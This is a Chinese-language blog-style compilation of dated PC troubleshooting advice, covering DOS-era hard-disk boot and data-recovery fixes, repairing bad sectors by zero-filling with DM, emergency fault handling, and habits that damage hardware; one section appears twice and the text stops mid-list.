在工作中，经常性的进行数据备份工作，是保证系统崩溃和硬盘损坏后能够及时恢复数据的重要方法。因此我们在工作中要养成经常备份数据的好习惯。除此以外，还要学会在硬盘出现故障时如何救活硬盘，或者从坏的区域中提取出有用的数据，把损失降到最小程度。
一、系统不认硬盘
系统从硬盘无法启动，从A盘启动也无法进入C盘，使用CMOS中的自动监测功能也无法发现硬盘的存在。这种故障大都出现在连接电缆或IDE端口上，硬盘本身故障的可能性不大，可通过重新插接硬盘电缆或者改换IDE口及电缆等进行替换试验，就会很快发现故障的所在。如果新接上的硬盘也不被接受，一个常见的原因就是硬盘上的主从跳线，如果一条IDE硬盘线上接两个硬盘设备，就要分清楚主从关系。
二、CMOS引起的故障
CMOS中的硬盘类型正确与否直接影响硬盘的正常使用。现在的机器都支持“IDE Auto Detect”的功能，可自动检测硬盘的类型。当硬盘类型错误时，有时干脆无法启动系统，有时能够启动，但会发生读写错误。比如CMOS中的硬盘类型小于实际的硬盘容量，则硬盘后面的扇区将无法读写，如果是多分区状态则个别分区将丢失。还有一个重要的故障原因，由于目前的IDE都支持逻辑参数类型，硬盘可采用“Normal,LBA,Large”等，如果在一般的模式下安装了数据,而又在CMOS中改为其它的模式，则会发生硬盘的读写错误故障，因为其映射关系已经改变，将无法读取原来的正确硬盘位置。
三、主引导程序引起的启动故障
主引导程序位于硬盘的主引导扇区，主要用于检测硬盘分区的正确性，并确定活动分区，负责把引导权移交给活动分区的DOS或其他操作系统。此段程序损坏将无法从硬盘引导，但从软驱或光驱启动之后可对硬盘进行读写。修复此故障的方法较为简单，使用高版本DOS的FDISK最为方便，当带参数/mbr运行时，将直接更换(重写)硬盘的主引导程序。实际上硬盘的主引导扇区正是此程序建立的，FDISK.EXE之中包含有完整的硬盘主引导程序。虽然DOS版本不断更新，但硬盘的主引导程序一直没有变化，从DOS 3.x到Windos 95的DOS，只要找到一种DOS引导盘启动系统并运行此程序即可修复。
四、分区表错误引发的启动故障
分区表错误是硬盘的严重错误，不同的错误程度会造成不同的损失。如果是没有活动分区标志，则计算机无法启动。但从软驱或光驱引导系统后可对硬盘读写，可通过FDISK重置活动分区进行修复。
如果是某一分区类型错误，可造成某一分区的丢失。分区表的第四个字节为分区类型值，正常的可引导的大于32MB的基本DOS分区值为06，而扩展的DOS分区值是05。很多人利用此类型值实现单个分区的加密技术，恢复原来的正确类型值即可使该分区恢复正常。
分区表中还有其它数据用于记录分区的起始或终止地址。这些数据的损坏将造成该分区的混乱或丢失，可用的方法是用备份的分区表数据重新写回，或者从其它的相同类型的并且分区状况相同的硬盘上获取分区表数据。
恢复的工具可采用NU等工具软件，操作非常方便。当然也可采用DEBUG进行操作，但操作繁琐并且具有一定的风险。
五、分区有效标志错误的故障
在硬盘主引导扇区中还存在一个重要的部分，那就是其最后的两个字节：“55aa”，此字节为扇区的有效标志。当从硬盘、软盘或光盘启动时，将检测这两个字节，如果存在则认为有硬盘存在，否则将不承认硬盘。此处可用于整个硬盘的加密技术，可采用DEBUG方法进行恢复处理。另外，当DOS引导扇区无引导标志时，系统启动将显示为：“Mmissing Operating System”。方便的方法是使用下面的DOS系统通用的修复方法。
六、DOS引导系统引起的启动故障
DOS引导系统主要由DOS引导扇区和DOS系统文件组成。系统文件主要包括IO.SYS、MSDOS.SYS、COMMAND.COM，其中COMMAND.COM是DOS的外壳文件，可用其它的同类文件替换，但缺省状态下是DOS启动的必备文件。在Windows 95携带的DOS系统中，MSDOS.SYS是一个文本文件，是启动Windows必须的文件，但只启动DOS时可不用此文件。DOS引导出错时，可从软盘或光盘引导系统后使用SYS C:命令传送系统，即可修复故障，包括引导扇区及系统文件都可自动修复到正常状态。
七、FAT表引起的读写故障
FAT表记录着硬盘数据的存储地址，每一个文件都有一组FAT链指定其存放的簇地址。FAT表的损坏意味着文件内容的丢失。庆幸的是DOS系统本身提供了两个FAT表，如果目前使用的FAT表损坏，可用第二个进行覆盖修复。但由于不同规格的磁盘其FAT表的长度及第二个FAT表的地址也是不固定的，所以修复时必须正确查找其正确位置，一些工具软件如NU等本身具有这样的修复功能，使用也非常的方便。采用DEBUG也可实现这种操作，即采用其m命令把第二个FAT表移到第一个表处即可。如果第二个FAT表也损坏了，则也无法把硬盘恢复到原来的状态，但文件的数据仍然存放在硬盘的数据区中，可采用CHKDSK或SCANDISK命令进行修复，最终得到*.CHK文件，这便是丢失FAT链的扇区数据。如果是文本文件则可从中提取出完整的或部分的文件内容。
八、目录表损坏引起的引导故障
目录表记录着硬盘中文件的文件名等数据，其中最重要的一项是该文件的起始簇号。目录表由于没有自动备份功能，所以如果目录损坏将丢失大量的文件。一种减少损失的方法也是采用CHKDSK或SCANDISK程序恢复的方法，从硬盘中搜索出*.CHK文件，由于目录表损坏时仅是首簇号丢失，每一个*.CHK文件即是一个完整的文件，把其改为原来的名字即可恢复大多数文件。
九、误删除分区时数据的恢复
当用FDISK删除了硬盘分区之后，表面上是硬盘中的数据已经完全消失，在未格式化时进入硬盘会显示为无效驱动器。如果了解FDISK的工作原理，就会知道FDISK只是重新改写了硬盘的主引导扇区(0面0道1扇区)中的内容，具体说就是删除了硬盘分区表信息，而硬盘中的任何分区的数据均没有改变。可仿照上述的分区表错误的修复方法，即想办法恢复分区表数据即可恢复原来的分区及数据。如果已经对分区格式化，在先恢复分区后，可按下面的方法恢复分区数据。
十、误格式化硬盘数据的恢复
在DOS高版本状态下，FORMAT格式化操作在缺省状态下都建立了用于恢复格式化的磁盘信息，实际上是把磁盘的DOS引导扇区、FAT分区表及目录表的所有内容复制到了磁盘的最后几个扇区中(因为后面的扇区很少使用)，而数据区中的内容根本没有改变。这样通过运行UNFORMAT命令即可恢复。另外DOS还提供了一个MIROR命令用于记录当前磁盘的信息，供格式化或删除之后的恢复使用，此方法也比较有效。
2007年5月10日星期四
硬盘出现坏道怎么办？
在计算机的配件中，最娇气也是用户最担心的恐怕就是硬盘了。的确如此，硬盘由于一开机就进入高速旋转状态，而且现在的软件越做越大，就致使对硬盘的读写也越来越频繁，由于用户的使用不当，所以很容易造成硬盘出现坏道。此时造成计算机不能启动等故障，给用户造成很大损失。
对于出现坏道的硬盘，一般的说法是，如果是逻辑坏道可以用WINDOWS的分区格式化工具进行修复，如果不能修复就由WINDOWS的分区格式化工具把坏道标出。而这些被标出的坏道一般就认为就是物理坏道了。按照现在广泛的说法，这种坏道最好把他们单独分成一区隐藏起来不去使用，防止坏道继续扩散。难道WINDOWS的分区格式化工具不能修复的坏道就一定是物理坏道？答案是否定的。
笔者在98年购买了一块富士通4.3GB的硬盘，在使用了一年后突然出现了少量坏道，造成系统无法启动，当时用WINDOWS的分区格式化工具把坏道标出后也没有太在意，重新安装系统后又正常使用一个多月，谁知没了一个月以后又渐渐重新出现了坏道，这样反复了几次以后坏道越来越多，而且令人费解的是每次重新分区以后就会发现出现许多新的坏道，可是如果是物理坏道的话，为什么会因为重新分区以后马上就出现更多新的坏道呢？
跑到办公室打开计算机开始上网寻找答案，令我失望是网上除了建议低级格式化或者是把坏道单独分成一个区以外没有任何线索，既然网上没有什么线索只好自己想一想。于是开始在抽屉中寻找可能有效的工具软件，在抽屉里寻找着各种工具软件的时候无意中看到几张软盘，对了就是这几张软盘，由于我对许多杀毒软件的加密非常感兴趣，于是找了许多解密工具，在进行解密的时候，在写入一些加密点数据时由于出现一些错误，而造成软盘无法读取或者出现许多的坏道，而这些坏道用格式化命令是无效的，根本无法进行格式化，系统总是提示软盘已经损坏，这时只有用“HDCOPY”等工具重新格式化后才可以使有，而重新格式化以后的软盘在进行磁盘扫描以后根本发现不了任何坏道，也就是说他们刚才的坏道其实是逻辑坏道。
我的硬盘也许也是逻辑坏道，最后我找来了DM这个工具软件，它有一个功能就是可以把整个硬盘清零。对！就用它试一试。
在BIOS中设置好硬盘参数，大硬盘请选用LBA方式（很重要！如果选成NORMAL等，在使用DM清零以后会造成使用LBA时不能正确识别容量的故障，如果出现这种现象只要重新设好参数再清一遍零就可以了）。从软盘启动，插入软盘进入DM界面，选FILL ZERO选项执行就可以了，清零速度很快，只需一两分钟就可以了，清零以后就可以退出DM，重新启动计算机，分区格式化硬盘，如果硬盘真是逻辑坏道，此时你就会发现你的硬盘已经完好如初了，而且速度容量等均很正常。
经过一年多使用再也没有出现问题，看来我的硬盘可能是由于一些病毒的干扰或者是其它的一些原因如震动，过热等而造成的逻辑坏道，而这些坏道FDISK、FORMAT等命令均无法修复，看上去很像物理坏道。
所以说WINDOWS下面的格式化工具不能修复的坏道不一定就是物理坏道，希望有同样遭遇的网友可以试一试。另外说一下，清零只不过是在硬盘上重写数据，不会对硬盘造成任何损伤。
对于出现坏道的硬盘，一般的说法是，如果是逻辑坏道可以用WINDOWS的分区格式化工具进行修复，如果不能修复就由WINDOWS的分区格式化工具把坏道标出。而这些被标出的坏道一般就认为就是物理坏道了。按照现在广泛的说法，这种坏道最好把他们单独分成一区隐藏起来不去使用，防止坏道继续扩散。难道WINDOWS的分区格式化工具不能修复的坏道就一定是物理坏道？答案是否定的。
笔者在98年购买了一块富士通4.3GB的硬盘，在使用了一年后突然出现了少量坏道，造成系统无法启动，当时用WINDOWS的分区格式化工具把坏道标出后也没有太在意，重新安装系统后又正常使用一个多月，谁知没了一个月以后又渐渐重新出现了坏道，这样反复了几次以后坏道越来越多，而且令人费解的是每次重新分区以后就会发现出现许多新的坏道，可是如果是物理坏道的话，为什么会因为重新分区以后马上就出现更多新的坏道呢？
跑到办公室打开计算机开始上网寻找答案，令我失望是网上除了建议低级格式化或者是把坏道单独分成一个区以外没有任何线索，既然网上没有什么线索只好自己想一想。于是开始在抽屉中寻找可能有效的工具软件，在抽屉里寻找着各种工具软件的时候无意中看到几张软盘，对了就是这几张软盘，由于我对许多杀毒软件的加密非常感兴趣，于是找了许多解密工具，在进行解密的时候，在写入一些加密点数据时由于出现一些错误，而造成软盘无法读取或者出现许多的坏道，而这些坏道用格式化命令是无效的，根本无法进行格式化，系统总是提示软盘已经损坏，这时只有用“HDCOPY”等工具重新格式化后才可以使有，而重新格式化以后的软盘在进行磁盘扫描以后根本发现不了任何坏道，也就是说他们刚才的坏道其实是逻辑坏道。
我的硬盘也许也是逻辑坏道，最后我找来了DM这个工具软件，它有一个功能就是可以把整个硬盘清零。对！就用它试一试。
在BIOS中设置好硬盘参数，大硬盘请选用LBA方式（很重要！如果选成NORMAL等，在使用DM清零以后会造成使用LBA时不能正确识别容量的故障，如果出现这种现象只要重新设好参数再清一遍零就可以了）。从软盘启动，插入软盘进入DM界面，选FILL ZERO选项执行就可以了，清零速度很快，只需一两分钟就可以了，清零以后就可以退出DM，重新启动计算机，分区格式化硬盘，如果硬盘真是逻辑坏道，此时你就会发现你的硬盘已经完好如初了，而且速度容量等均很正常。
经过一年多使用再也没有出现问题，看来我的硬盘可能是由于一些病毒的干扰或者是其它的一些原因如震动，过热等而造成的逻辑坏道，而这些坏道FDISK、FORMAT等命令均无法修复，看上去很像物理坏道。
所以说WINDOWS下面的格式化工具不能修复的坏道不一定就是物理坏道，希望有同样遭遇的网友可以试一试。另外说一下，清零只不过是在硬盘上重写数据，不会对硬盘造成任何损伤。
电脑故障应急处理
朋友们在使用电脑的过程中，难免会遇到许多的突发故障，这些故障的起因可能是软件原因造成的，也可能是硬件故障引发的，或是其它的因素……那么，我们这些初级的电脑用户们又该如何应对这些事件呢，请看下文：
遭遇停电
现象：显示器，主机，音箱等会在一瞬间“强行关闭”。
分析：这是突然“停电”造成的。由停电的瞬间产生的电压波动会冲击电脑硬件的芯片，电路，电阻等。而一旦停电时您正在进行磁盘读写操作，则有可能产生坏道，或当你在编写文稿时，则数据资料就会丢失……
应当之策：配电脑时选配个品牌电源，这样能最大限度的从电源上减小电压波动对硬件造成的不良影响。停电后，关闭所有电源，以防下次来电时显示器和部份ＡＴＸ电源同时启动，这样会造成对硬件的不良损害。当您用WORD编辑文稿时，用上WORD的自动保存功能。如果停电的瞬间恰好您在对磁盘进行操作，建议您下次开机不要在启动时跳过磁盘检测，检测有无产生坏道。一旦发现坏道，则用NORTON，PQMAGIC等工具软件来修复或屏蔽坏道。另外，如果您经济上许可，建议选配一个UPS，为电脑提供一段时间的断电保护。
自动关机
现象：电脑在正常运行过程中，突然自动关闭系统或重启系统。
现象分析：现今的主板对CPU有温度监控功能，一旦CPU温度过高，超过了主板BIOS中所设定的温度，主板就会自动切断电源，以保护相关硬件。另一方面，系统中的电源管理和病毒软件也会导致这种现象发生。
应当之策：上述突然关机现象如果一直发生，先确认CPU的散热是否正常。开机箱目测风扇叶片是否工作正常，再进入BIOS选项看风扇的转速和CPU的工作温度。发现是风扇的问题，就对风扇进行相关的除尘维护或更换质量更好的风扇。如果排除硬件的原因，进入系统，从“吻到死”的安装光盘中覆盖安装电源管理，再彻底查杀病毒。当这些因素都排除时，故障的起因就可能是电源老化或损坏，这可以通过替换电源法来确认，电源坏掉就换个新的，切不可继续使用，会烧毁硬件的。
系统当机
现象：桌面被锁定，鼠标不能动，严重时连热启动（ALT+CTRL+DEL）都不行。还有就是蓝屏现象。
现象分析：“吻到死”系统自身的BUG以及各软件间的兼容性问题是该故障的原因，也可能是用户同一时间运行了过多的大程序，从而导致进程阻塞，引发当机。
应对之策：当机分2种，真当和假当，二者区分的最简单方法是按下小键盘区的Numlock键，观察其指示灯有无变化。有，则假当；反之，真当。假当可以同时按下ALT+CTRL+DEL在出现的任务列表里选定程序名后标注没有响应的项，单击结束任务。真当，只有冷启动了。对于蓝屏，在按下ESC键无效后，选择重启，按机箱面板上的复位键。对于兼容性问题，可以从卸载“问题”软件和更新主板BIOS和相关主板驱动程序上来解决。
病毒发作
现象：系统运行缓慢，当机，非法操作，硬盘灯乱闪，经常蓝屏，以及莫名奇妙的系统提示……
现象分析：病毒实质上是一种恶意的电脑程序代码，病毒通过大量的自身复制，同时在系统中隐秘运行，占有系统资源，严重的还会对软件和硬件造成破坏，如CIH，硬盘锁等。
应对之策：道高一尺，魔低一丈，病毒的克星是杀毒软件。一旦怀疑自己的机器染上病毒，请重新启动系统到DOS，运行正版的杀毒软件（DOS版）这样可以杀掉在“吻到死”下杀不了的病毒；而后再启动到系统桌面，运行杀毒软件的WINDOWS版本进行再杀毒。另一方面，由于病毒发作严重时会破坏一些文件；我们就在病毒发作之前把重要的文件备份到Ｃ盘之外其它驱动器，且把数据文件的属性设定为只读。同时，大家要时刻更新杀毒软件病毒库，少用盗版碟，已上网的朋友们对不明的邮件附件千万不要下载。
系统故障
现象：进不了系统，典型表现为开机自检通过，在启动画面处停止，或显示：The disk is error等有E文提示的诸多现象。
现象分析：此为系统故障，可由很多原因引起，比较常见的就是系统文件被修改，破坏，或是加载了不正常的命令行。此外，硬盘的故障也是原因之一。
应对之策：首先要尝试能否进入安全模式，开机按F８键，选择启动菜单里的第三项：Safe model（安全模式）。进入安全模式后，可以通过设备管理器和系统文件检查器来找寻故障，遇到有“！”号的可以查明正身再确定是否del或设置中断。也可以重装驱动程序，系统文件受损可以从安装文件恢复（建议事先就把WINDOWS的安装盘复制在硬盘里）。如果连安全模式都不能进入，就通过带启动的光盘或是软盘启动到DOS，在DOS下先杀毒并且用Dir检查Ｃ盘内的系统文件是否完整，必要时可通过系统软盘进行Sys C:，恢复相关的基本系统文件。如果C盘内没有发现文件，则只有对系统进行彻底重装。
驱动丢失
现象：开机时16色显示，放音频文件时显示“XXX”设备正被占用。
现象分析：排除病毒的原因后，这种现象多发生在用过N个月的老机子上，或用户新近动过主机内的部件，（如显卡和PCI卡），则可能造成该硬件的接触不良，导致系统实质上并没有彻底检测到相关硬件。
应对之策：重新安装显卡的驱动程序，并检查相关配件与主板是否完全接触：一是要保证显卡，声卡金手指上的清洁，二是将其插入相关插槽时用力适当，对准垂直插入即可，再接上与之搭配的音箱和显示器连线。必要时，可以更换PCI卡的插槽位置，避免和显卡产生资源冲突。
开机黑屏
现象：开机黑屏，没有显示，可能会有报警声。
现象分析：硬件之间接触不良，或硬件发生故障，相关的硬件涉及到内存，显卡，CPU，主板，电源等。电脑的开机要先通过电源供电，再由主板的BIOS引导自检，而后通过CPU，内存，显卡等。这个过程反映在屏幕上叫自检，先通过显卡BIOS的信息，再是主板信息，接着内存，硬盘，光驱等。如果这中间哪一步出了问题，电脑就不能正常启动，甚至黑屏。
应对之策：首先确认外部连线和内部连线是否连接顺畅。外部连线有显示器，主机电源等。内部有主机电源和主机电源接口的连线（此处有时接触不良）。比较常见的原因是：显卡，内存由于使用时间过长，与空气中的粉尘长期接触，造成金手指上的氧化层，从而导致接触不良。对此，用棉花粘上适度的酒精来回擦拭金手指，待干后插回。除此外，观察CPU是否工作正常，开机半分钟左右，用手触摸CPU风扇的散热片是否有温度。有温度，则CPU坏掉的可能性就可基本排除。没温度就整理一下CPU的插座，确保接触到位。这之后还没温度，阁下的CPU就可以升级了：（除了上面的方法外，还有一招必杀技：用拔跳线的方法清除BIOS设置或更换主板的CMOS电池。当这些方法都尝试过并全部失败的话，就可以召唤大虾哥出山相助了。
怪响异味
现象：听到怪响或者闻到异味。
现象分析：怪响，可能是由于硬盘的坏道造成硬盘发出的（格格的刺耳声）；也有可能是硬盘，光驱螺丝没有上牢，造成机箱的共振。异味，多为焦糊味，很刺鼻子的那种。
应对之策：首先关闭电源。若是怪响，则打开机箱面板，一一检查，若是坏道，则修复或屏蔽。对于异味，要千万小心。这时用你的鼻子闻闻，找到发出异味的部件，然后卸下交由电脑公司处理，在这中间，大家一定要捍卫自己的消费者权益。（没过质保期的——该换的换，该修的修。）这个千万大意不得！因为，笔者的昂达光驱就是闻到焦糊味后断电不及（慢了N秒）给活活烧坏驱动芯片（Firewall）的，而后，再拿钱找JS大叔也没办法。（所以大家如果闻到异味，马上断掉电源，然后再下开机箱寻找原因，但是显示器千万别开，只能交由专业人员维修，那可是有高压电的，千万别拿自己的生命开玩笑。
最容易损坏机器的操作
１、大力敲击回车键
这个恐怕是人所共有的通病了，因为回车键通常是我们完成一件事情时，最后要敲击的一个键，大概是出于一种胜利的兴奋感，每个人在输入这个回车键时总是那么大力而爽快地敲击。本人的多个键盘就是这样报废的，最先不看见字的是AWSD（呵呵，心知肚明），最先不能使用的按键却是Enter。
解决办法：解决方法有两个，第一是控制好你的情绪，第二是准备好你的钱包。我选的第二个，有时候好心情是钱买不来的，你呢？
2、在键盘上面吃零食，喝饮料
这个习惯恐怕是很普遍了，我看到很多人都是这样的，特别是入迷者更是把电脑台当成饭桌来使用。我想你要是拆一回你的键盘，也许同样的行为就会减少的，你可以看到你的键盘就像水积岩一样，为你平时的习惯，保留了很多的“化石”，饭粒、饼干渣、头发等等比比皆是，难怪有人说：公用机房里的键盘比公厕还脏。同时这样的碎片还可能进入你的键盘里面，堵塞你键盘上的电路，从而造成输入困难。饮料的危害就更加厉害了，一次就足以毁灭你的键盘。就是你的键盘侥幸没有被毁灭，恐怕打起字来，也是粘粘糊糊很不好过。
解决方法：避免在键盘上吃东西，要不然像我一样买一个防水的PHILIPS键盘，然后每过一段时间就给他打扫卫生，擦澡（虽然这样还是很脏的）；你要是腰包更加饱的话，可以考虑半年换一个键盘（我从来不建议用差的键盘，那可是关乎健康的问题）试试，应该情况会好一些。还有记得给你房间买一个饭桌了。
3、光碟总是放在光驱里(还有看VCD时,暂停后出玩或吃饭!!!)
很多人总是喜欢把光碟放在光驱里，特别是CD碟，其实这种习惯是很不好的。光碟放在光驱里，光驱会每过一段时间，就会进行检测，特别是刻录机，总是在不断的检测光驱，而高倍速光驱在工作时，电机及控制部件都会产生很高的热量，为此光驱厂商们一直在极力想办法解决。
虽然现在已有几种方法能将光驱温度控制在合理的范围内，但如果光驱长时间处于工作状态，那么，即使再先进的技术也仍无法有效控制高温的产生。热量不仅会影响部件的稳定性，同时也会加速机械部件的磨损和激光头的老化。所以令光驱长时间工作，实在是不智之举，除非你想把你的光碟和光驱煮熟。
解决方法：尽量把光碟上的内容转到硬盘上来使用，比如把CD转化为MP3的，如果你是一个完美主义者，那就用虚拟光驱的形式管理你的常用CD碟吧；游戏则尽量使用硬盘版的；大多数光碟版的游戏，都可以在网上找到把光碟版转化为硬盘版的软件；不然就同样采用虚拟光驱的形式。网上有很多虚拟光驱可以下载，怕麻烦的话可以用国产的《东方光驱魔术师3》或《VirtualDrive7.0》， 界面很简单，而且没有了E文的问题，很好上手。
4、关了机又马上重新启动
经常有人一关机就想起来光碟没有拿出来，或者还有某个事情没有完成等等，笔者就是其中一个，可以说有同样毛病的人还是很多的。很多人反应迅速，在关闭电源的刚刚完成就能想起来，然后就伸出手来开机；更有DIY好手，总是动作灵敏，关机，十秒钟处理完故障，重新开机；殊不知这样对计算机危害有多大。
首先，短时间频繁脉冲的电压冲击，可能会损害计算机上的集成电路；其次，受到伤害最大的是硬盘，现在的硬盘都是高速硬盘，从切断电源到盘片完全停止转动，需要比较长的时间。如果盘片没有停转，就重新开机，就相当于让处在减速状态的硬盘重新加速。长此下去，这样的冲击一定会使得你的硬盘一命归西的。
解决办法：关机后有事情忘了做，也就放下他；一定要完成的，请等待一分钟以上再重新开机，要不就在机子没有断开电源的时候按下机箱上的热启动键。要是你以上的方法都做不到，为了你爱机的健康，我建议你在电脑桌上系一个绳子，以便用来绑住你的手一分钟以上。
5、开机箱盖运行
开机箱盖运行一看就知道是DIY们常干的事情。的确开了机箱盖，是能够使得CPU凉快一些，但是这样的代价是以牺牲其它配件的利益来实现的。因为开了机箱盖，机箱里将失去前后对流，空气流将不再经过内存等配件，最受苦的是机箱前面的光驱和硬盘们，失去了对流，将会使得他们位于下部的电路板产生的热量变成向上升，不单单散不掉，还用来加热自己，特别是刻录机，温度会比平时高很多。
不信你比较一下开不开机箱盖的光驱温度。开机箱盖还会带来电磁辐射，噪音等危害，而且会使得机箱中的配件更加容易脏，带来静电的危害，并阻碍风扇的转动。同时，让其他隐患有机可乘，比如你在电脑前边喝茶边观看一部片子，一个爆笑的镜头使你将口中的清茶悉数喷进了敞开的机箱内……
解决办法：很简单，给你机箱盖锁上锁头，然后把钥匙寄给我。要是怕超频不稳定，就不要超频了，现在的CPU够快了，在市场上的主流CPU就够用了。要是你用的是老掉牙的CPU，我建议你还是换一个的好，换一个也就是300元左右（赛扬2或3、毒龙1.2G）何必受提心吊胆和电磁辐射、噪音的苦？还是那句话：快乐是用钱买不到的。
6、用手摸屏幕
其实无论是CRT或者是LCD都是不能用手摸的。计算机在使用过程中会在元器件表面积聚大量的静电电荷。最典型的就是显示器在使用后用手去触摸显示屏幕，会发生剧烈的静电放电现象，静电放电可能会损害显示器，特别是脆弱的LCD。
另外，CRT的表面有防强光、防静电的AGAS(Anti-Glare\Anti-Static)涂层，防反射、防静电的ARAS(Anti-Reflection\Anti-Static)涂层，用手触摸，还会在上面留下手印，不信你从侧面看显示器，就能看到一个个手印在你的屏幕上，难道你想帮公安局叔叔们的忙，提前提取出伤害显示器“凶手”的指纹吗？同时，用手摸显示器，还会因为手上的油脂破坏显示器表面的涂层。
LCD显示器比CRT显示器脆弱很多，用手对着LCD显示屏指指点点或用力地戳显示屏都是不可取的，虽然对于CRT显示器这不算什么大问题，但LCD显示器则不同，这可能对保护层造成划伤、损害显示器的液晶分子，使得显示效果大打折扣，因此这个坏习惯必须改正，毕竟你的LCD显示器并不是触摸屏。
解决方法：在你的显示器上贴一个禁止手模的标志，更不能用指甲在显示器上划道道；想在你的屏幕上“指点江山”，就去买一个激光指定笔吧。强烈的冲击和振动更应该避免，LCD显示器中的屏幕和敏感的电器元件如果受到强烈冲击会导致损坏；显示器清洗应当在专门的音像店里买到相应的清洗剂，然后用眼镜布等柔软的布轻轻擦洗。
7、一直使用同一张墙纸或具有静止画面的屏保
无论是CRT或者是LCD的显示器，长时间显示同样的画面，都会使得相应区域的老化速度加快，长此下去，肯定会出现显示失真的现象。要是你有机会看看机房里的计算机，你就会发现，很多上面已经有了一个明显的画面轮廓。何况人生是多姿多彩的，何必老是用同一副嘴脸呢？
解决措施：每过一定的时间就更换一个主题，最好不要超过半年。平时比较长时间不用时，可以把显示器关掉。要是你没有这样的习惯，可以在显示属性的屏幕保护那里设定好合适的时间，让WINDOWS帮你完成。
8、把光碟或者其他东西放在显示器上。
显示器在正常运转的时候会变热。为了防止过热，显示器会吸入冷空气，使它通过内部电路，然后将它从顶端排出。不信你现在摸摸你放在上面的光碟，是不是热热的象烙饼？若你总是把光碟或纸张放在显示器上头；更加夸张的是让你家猫咪冬天时在上头蜷着睡觉，当显示器是温床，这会让热气在显示器内部累积的。那么色彩失真、影像问题、甚至坏掉都会找上你的显示器。
解决办法：如果你想让显示器保有最好的画质，以及延长它的寿命，赶快叫醒你的猫咪，让它到别处去睡吧。并把你的“烙饼”收到光碟袋里去。
9、拿电脑主机来垫脚
如果想要杀死你的台式计算机，那么开车带它去越野兜风，或是背着它去爬山、蹦迪，那样会更快一些；你的这种方法震动太小了，要比较长的时间才能出成绩。如果你愿意坚持下去，估计取得的第一个成绩就是产生一出个圆满归西的是硬盘吧，死因是硬盘坏道。
解决方法：把你把脚架在电脑上的照片作为你的桌面，让你看看那一个姿势有多难看，这样你就不会把脚再次伸向主机；要不然就把你的电脑发票贴在显示器上，看着发票上的金额，你应该不会无动于衷吧。如果上面的方法都不能制止你的行为的话，我想你就该考虑去买一个带有脚扣的椅子了。
10、计算机与空调、电视机等家用电器使用相同的电源插座
这是因为带有电机的家电运行时会产生尖峰、浪涌等常见的电力污染现象，会有可能弄坏计算机的电力系统，使你的系统无法运作甚至损坏。同时他们在启动时，也会和计算机争夺电源，电量的小幅减少的后果是可能会突然令你的系统重启或关机。
解决方法：为了你的计算机不挨饿或者是吃的“食物（电力）”不干净，首先应使用品质好的计算机开关稳压电源，如长城等品牌。其次，对于一些电力环境很不稳定的用户，建议购买UPS或是稳压电源之类的设备，以保证为计算机提供洁净的电力供应。还有就是优化布线，尽量减少各种电器间的影响。
11、给你的计算机抽二手烟
就像香烟、雪茄或微小烟粒会伤害你的肺一样，烟也可能会跑进你的软驱并危及资料。烟雾也可能会覆盖CD-ROM、DVD驱动器的读取头，造成读取错误。烟头烟灰更有可能使得你的打印机和扫描仪质量大大的下降。
解决方法：要保护你的系统和你自己的最佳方式，就是不要抽烟。如果你就是戒不掉抽烟这个习惯的话，到外面去抽，或在计算机四周打开空气清新器吧！当然更不要把你的键盘当烟灰缸用。
看完了硬件方面的问题，我们来看看在软件方面的问题吧。
1、不停的更换驱动程序
很多的DIY很喜欢不断的更新驱动程序，虽然更新驱动程序有可能提升性能和兼容性，但是不适当的新版本可能会引起硬件功能的异常，在旧版本运转正常的时候建议不要随意升级驱动。先仔细阅读驱动的README文件，对你有好处。就是像显卡这样更新换代迅速的硬件最好不要总是追新，不要随便使用最新版的驱动程序，应该使用适合自己硬件情况的驱动程序，因为每一代的驱动程序都是针对当时市面上最流行的显卡芯片设计，老芯片就不要随便使用新的驱动，更不要随便使用测试版的驱动，测试版的驱动就先留给网站的编辑们去测试他们的系统。
解决方法：到专业的网站上去看看新驱动的介绍，我觉得最保险的办法是：显卡最多用芯片推出半年后的驱动；主板最多用芯片组推出6-9个月的驱动；声卡等最多用推出一年后的驱动；再往后的驱动就不要用了（除非你试过前面的驱动统统有问题）。
2、装很多测试版的或者共享版的软件
追新一族总是喜欢在自己的机子用上最新的软件，和驱动程序一样，更新程序有可能提升性能、增加功能和兼容性，但是不适当的新版本可能会引起系统的异常。特别是测试版的程序，更是害处更多，既然没有推出正式版，就说明该软件还存在着很多不确定的BUG，这些小虫就像定时炸弹一样，随时可能在你的系统中爆炸，损坏你的系统。
共享版的软件有一些过一段时间（或次数）就会失效，要是你的系统通过共享版软件更改了某方面的功能，而共享版软件又因为失效而无法运行，那么你的系统就不能回到你想要的状态了；还有就是使用了共享版的软件来建立的资料或者文档，因为共享版软件失效，而无法打开。所以安装共享版时应当注意共享版提供使用的次数或者时间，以免无法还原系统和丢失资料。
解决办法：如果不是一定要使用新版本才能解决问题的话，尽量使用最新的正式版的软件，测试的工作就留给专家们去完成吧。尽可能注册你的共享版软件，不然就要注意共享版软件的限制，以免丢失重要的文件或者损害系统。
3、在系统运行中进行非正常重启
在系统运行时，进行非正常重启（包括按机箱上的重启键、电源键和Ctrl+Alt+Del），可能使得系统丢失系统文件、存盘错误以及丢失设置等。本来windows是提供了磁盘扫描工具，可以纠正部分出错的文件，但是因为扫描需要一段比较长的时间，很多人都会中断他的工作，经常出现这样的情况，还有可能使得硬盘上的数据的出错几率和次数大大增加，从而使得整个系统崩溃。
解决方法：尽量使用比较稳定的系统，建议CPU频率在750MHz和内存在256M以上的用户使用WINXP的系统，其他的可以考虑WIN2000，还有就是最好把硬盘转化为HTFS的格式，它比FAT32的格式要更加安全，不容易出错。还有就是FAT32和FAT16的用户，最好让磁盘扫描工具执行完它的工作。当然最好的办法是找出死机的原因，杜绝此类现象的出现。
4、不扫描和整理硬盘
经常看到很多人的硬盘里充满了错误和碎片，总是觉得很不好受，其实那些东西不但会使得你的系统出错的几率加大，还有可能让你的系统变的很慢，甚至无法运行。其实很好理解这样的坏处，就像你的房间东西到处扔，还有的缠在一起、甚至损坏了，当然找起东西来效率很低，碰到缠住的，还要先解开；甚至找到了也用不了，因为他们是坏的。
解决方法：平时记得给你硬盘打扫卫生，每过一段时间就应该清理一下硬盘，并且进行整理。如果是添加删除操作比较多的用户，应当一个月整理一次，普通的用户可以三个月整理一次。WINDOWS自带的磁盘整理工具效率很低，可以使用VoptXP、诺顿等工具来提高速度。
5、虚拟内存不指定范围
